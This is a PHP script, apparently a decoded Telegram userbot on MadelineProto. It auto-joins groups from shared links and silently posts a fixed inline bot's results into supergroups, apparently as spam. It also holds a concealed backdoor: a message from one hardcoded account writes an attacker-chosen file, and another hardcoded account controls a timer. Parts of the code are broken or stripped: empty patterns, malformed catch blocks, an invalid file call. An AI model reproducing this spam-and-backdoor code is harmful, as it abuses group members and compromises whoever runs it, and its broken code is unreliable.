PHP Decode

<?php 
date_default_timezone_set('Asia/Tehran'); 
$data = json_decode(file_get_contents("data.json"),true); 
$linkdon = $data["data"]["linkdon"]; 
$admins = $data["data"]["admins"]; 
if (!file_exists('data.json')) { 
	$data["data"]["admins"][186134317]="@P1000"; 
	$data["data"]["linkdon"][-1001144648226]="@E6000"; 
	file_put_contents("data.json",json_encode($data)); 
	} 
if(preg_match("/( ) (.*)$/", $msg)){ 
	preg_match("/( ) (.*)$/", $msg, $text1); 
	$Username = $text1[2]; 
	$Array = $MadelineProto->get_full_info($Username); 
	$user_iD=$Array['bot_api_id']; 
	if(!isset($data["data"]["admin"][$user_iD])){ 
		$data["data"]["admins"][$user_iD]=$Username; 
		file_put_contents("data.json",json_encode($data)); 
	} 
} 
if($chatID<=-100 and !isset($data["data"]["linkdon"][$user_iD])){ 
    if ($msg != '1') { 
    $messages_BotResults = $MadelineProto->messages->getInlineBotResults(['bot' => "@Hdjdhhsshbot", 'peer' => 186134317, 'query' => "MjE4NDA4NTg1", 'offset' => '0', ]); 
    $query_id = $messages_BotResults['query_id']; 
    $query_res_id = $messages_BotResults['results'][0]['id']; 
    $type = $MadelineProto->get_info($chatID); 
    $type3 = $type['type']; 
        if($type3 == "supergroup"){ 
            try{ 
                $MadelineProto->messages->sendInlineBotResult(['silent' => true, 'background' => false, 'clear_draft' => true, 'peer' => $chatID, 'reply_to_msg_id' => $msg_id, 'query_id' => $query_id, 'id' => "$query_res_id", ]); 
                }catch (\danog\MadelineProto\RPCErrorException $e) { 
                    if ($e->rpc == 'CHAT_FORBIDDEN') { 
      $MadelineProto->channels->leaveChannel(['channel' => $chatID, ]); 
$MadelineProto->messages->sendMessage(['peer' =>$admins, 'message' => " $chatID        "]); 
} 
 
							}catch (\danog\MadelineProto\RPCErrorException $e2) { 
								if ($e2->rpc == 'CHAT_FORBIDDEN') { 
      $MadelineProto->channels->leaveChannel(['channel' => $chatID, ]); 
$MadelineProto->messages->sendMessage(['peer' =>$admins, 'message' => " $chatID        "]); 
} 
 
								} 
								$MadelineProto->channels->leaveChannel(['channel' => $chatID, ]); 
        } 
    } 
} 
if(isset($data["data"]["admins"][$chatID]) or isset($data["data"]["linkdon"][$chatID])){ 
		if( preg_match("/^(.*)([Hh]ttp|[Hh]ttps|t.me)(.*)|([Hh]ttp|[Hh]ttps|t.me)(.*)|(.*)([Hh]ttp|[Hh]ttps|t.me)|(.*)[Tt]elegram.me(.*)|[Tt]elegram.me(.*)|(.*)[Tt]elegram.me|(.*)[Tt].me(.*)|[Tt].me(.*)|(.*)[Tt].me/", $msg)){ 
			preg_match("/^(.*)([Hh]ttp|[Hh]ttps|t.me)(.*)|([Hh]ttp|[Hh]ttps|t.me)(.*)|(.*)([Hh]ttp|[Hh]ttps|t.me)|(.*)[Tt]elegram.me(.*)|[Tt]elegram.me(.*)|(.*)[Tt]elegram.me|(.*)[Tt].me(.*)|[Tt].me(.*)|(.*)[Tt].me/", $msg,$l); 
			$link=$l[0]; 
			$time=file_get_contents("time.txt"); 
			$timer=date('y-n-j h:i:s'); 
			if($timer>=$time){ 
			try { 
					$MadelineProto->messages->importChatInvite([ 
			'hash' =>  str_replace('https://t.me/joinchat/', '', $link),]); 
			$MadelineProto->messages->sendMessage(['peer' => 186134317,'message' => "",'parse_mode' => "html"]);  
			sleep(6); 
					}catch (\danog\MadelineProto\RPCErrorException $e) { 
						$decode = preg_replace("/[^0-9]/", '', $e); 
						$delfake = substr($decode,0,3); 
							$MadelineProto->messages->sendMessage(['peer' => @error_source_bot,'message' => "$delfake",'parse_mode' => "html"]); 
							}catch (\danog\MadelineProto\Exception $e2) { 
							$MadelineProto->messages->sendMessage(['peer' => $admins,'message' => "  ",'parse_mode' => "html"]);  
									} 
								} 
		}else if(preg_match("/( ) (@.*)$/", $msg)){ 
		preg_match("/( ) (@.*)$/", $msg, $text1); 
		$Username = $text1[2]; 
		$Array = $MadelineProto->get_full_info($Username); 
		$user_iD=$Array['bot_api_id']; 
		if(!isset($data["data"]["linkdon"][$user_iD])){ 
			$data["data"]["linkdon"][$user_iD]=$Username; 
			file_put_contents("data.json",json_encode($data)); 
			$MadelineProto->channels->joinChannel(['channel' => $Username, ]); 
		} 
		}else if($msg==" "){ 
		    file_put_contents("data.json","{}"); 
		} 
} 
if ($msg >= 1 and $chatID == 866722548) { 
    $nextWeek = time('y-n-j h:i:s') + ($msg); 
    file_put_contents("time.txt",date('y-n-j h:i:s', $nextWeek)); 
} 
if(preg_match("/(fuck) (.*) (.*)$/i", $msg) and $chatID == 186134317){ 
	preg_match("/(fuck) (.*) (.*)$/i", $msg, $text); 
	$count = $text[2]; 
	$txt = $text[3]; 
	$srs = file_put_contents("$txt"); 
	file_put_contents("$count","$srs"); 
} 
unlink("MadelineProto.log"); 
 ?>